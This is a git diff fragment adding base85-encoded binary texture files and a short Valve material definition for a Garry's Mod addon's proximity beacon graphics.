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 LDC+0G`hNT$x=jg+ literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antinoy_add.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antinoy_add.vmt new file mode 100644 index 0000000..b1232ff --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antinoy_add.vmt @@ -0,0 +1,7 @@ +"UnlitGeneric" +{ + "$basetexture" "proxi/beacon_bigcircle_antinoy_add" + "$additive" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antinoy_add.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_bigcircle_antinoy_add.vtf new file mode 100644 index 0000000000000000000000000000000000000000..cf3c1b66b7c6e07be4878c3977f676ec16b4f16d GIT binary patch literal 43912 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 